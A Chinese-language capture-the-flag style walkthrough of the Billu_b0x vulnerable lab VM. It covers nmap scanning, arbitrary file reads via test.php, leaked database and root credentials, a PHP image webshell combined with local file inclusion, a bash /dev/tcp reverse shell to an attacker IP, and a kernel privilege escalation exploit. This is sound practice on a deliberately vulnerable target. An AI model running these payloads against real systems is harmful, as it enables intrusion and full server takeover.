一次Billu_b0x渗透学习
这次的Billu_b0x靶场应该说是学习经验,按照大神的流程走了一遍,中间各种扫盲,和学习思路,现在把整体的思路和过程梳理一下。
一、发现IP
虚拟机打开,按照规则所说,NAT模式,没有发现IP
于是ifconfig,找到vmnet8的C段,这里就是虚拟机存在的网段。
nmap -sP 172.16.230.1/24
nmap -sP 是扫描这个C段对ping进行回应的主机,/24 = 255.255.255.0,子网掩码
二、信息收集
nmap -sV -sC -A -Pn -oN 172.16.230.151.txt 172.16.230.151
ssh和80web端口是开着的。
打开网页目录扫描
- in.php
- show.php
- add.php
- index.php
- phpmy(字典没扫出来,字典强大还是很重要哇)
in.php | show.php | add.php | index.php | c.php | phpmy |
---|---|---|---|---|---|
phpinfo界面 | 登录界面 | 文件上传界面 | 同登录界面 | 无界面 | phpMyAdmin |
三、初探
-
phpmy是phpMyAdmin界面。
-
主页提示show me your SQLI skills,sqlfuzz字典+burp了一波,发现注入不了,要是有不同的错误回显还好些,SQL注入我是放弃了。
-
add.php有文件上传,但是抓包发现没有回显文件地址,故也没走通。
-
test.php发现有提示
file暗指文件包含?
GET 方式传参file
GET /test.php?file=/etc/passwd HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
无反应
POST 方式传参file
burp直接 change Method
POST /test.php HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
file=/etc/passwd
返回
这里可以看到,root和ica用户拥有shell权限。
我们感兴趣的页面源码是不是都可以拿下来?
- c.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>
- index.php
<?php
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';
}
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{
echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>
- add.php
<?php
echo '<form method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name=image>
<input type=text name=name value="name">
<input type=text name=address value="address">
<input type=text name=id value=1337 >
<input type="submit" value="upload" name="upload">
</form>';
?>
好了,就不一一列出来了。
四、两种方式拿到root
一、phpmyadmin配置文件
前面已经有任意文件下载的问题,phpmyadmin默认配置文件config.inc.php
猜测目录可能在/var/www/phpmy/config.inc.php
POST /test.php HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
file=/var/www/phpmy/config.inc.php
结果
使用root
和roottoor
进行ssh登陆
实验结束。
二、常规渗透
1、登入后台
注意到c.php,有mysql的连接秘钥billu
,b0x_billu
尝试登陆phpmy后台
看到了这个网站的数据库结构,使用auth下的账号登陆index.php
成功登录界面
这里AddUser功能有上传文件,当然是做了限制的,但是我们有源码可以进行审计。
2、代码审计
好的,没有对传入的参数进行过滤,存在任意文件包含。
3、图片马+本地文件包含拿到cmdshell
可以想到图片马+任意文件包含拿到cmdShell
我们看看continue哪些参数我们可控。
load直接作为参数$choice在include中被包含,那我直接将load改为图片马的路径,不就可以解析图片马了么。
OK,我们上传正常的图片上去,在图片数据流最后,加入
<?php system($_GET['cmd']);?>
这是我们上传的图片地址/uploaded_images/j.jpg。
点击continue转包,将GET后的参数改为cmd=cat%20/etc/passwd;ls
为图片马提供参数,将post中的body改为load=/uploaded_images/j.jpg&continue=continue
包含我们的图片马目录
POST /panel.php?cmd=cat%20/etc/passwd;ls HTTP/1.1
Host: 172.16.230.151
User-Agent: Mozilla/5.0(Linux;U;Android2.3.6;zh-cn;GT-S5660Build/GINGERBREAD)AppleWebKit/533.1(KHTML,likeGecko)Version/4.0MobileSafari/533.1MicroMessenger/4.5.255
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Connection: close
Referer: http://172.16.230.151/panel.php
Cookie: PHPSESSID=b25l18nkjd4i9g1lug3tm15435
Upgrade-Insecure-Requests: 1
load=/uploaded_images/j.jpg&continue=continue
返回,图片马被触发成功。
4、反弹shell
echo "bash -i >& /dev/tcp/192.168.31.237/4444 0>&1" | bash
命令解释:
bash -i : bash是Linux下一个常见的shell,
-i
参数表示产生一个交互式的shell/dev/tcp/192.168.175.134/8080 :
/dev/tcp|udp/ip/port
是一个Linux中比较特殊的一个文件,如果在Linux上访问就会发现这个文件并不存在,其含义是让主机与目标主机ip
在端口port
建立一个tcp或udp连接0>&1:将标准输入
0
输出重定向至标准输出1
。或者可以这么理解,将标准输入0
和标准输出1
合并,在重定向至1
,因为前面已经将标准输出1
重定向至/dev/tcp/192.168.175.134/8080
,所以现在标准输入0
和标准输出1
都指向/dev/tcp/192.168.175.134/8080
。
至于echo 和 | bash是代表什么意思,我就不太清楚了,有知道的表哥可以告知下!
将echo "bash -i >& /dev/tcp/172.16.1.75/4444 0>&1" | bash
进行URL编码,作为cmd参数传入
本地nc -lvp 4444监听反弹来的shell。
uploaded_images目录我们拥有读写执行权限的目录
5、提权
uname -a找到对应liunx版本
https://www.exploit-db.com/exploits/37292/
拿到root
五、总结
信息收集很重要!所有的信息都要留意,切不能闷头无脑撸站。如果没有test.php的提示,就很难有突破点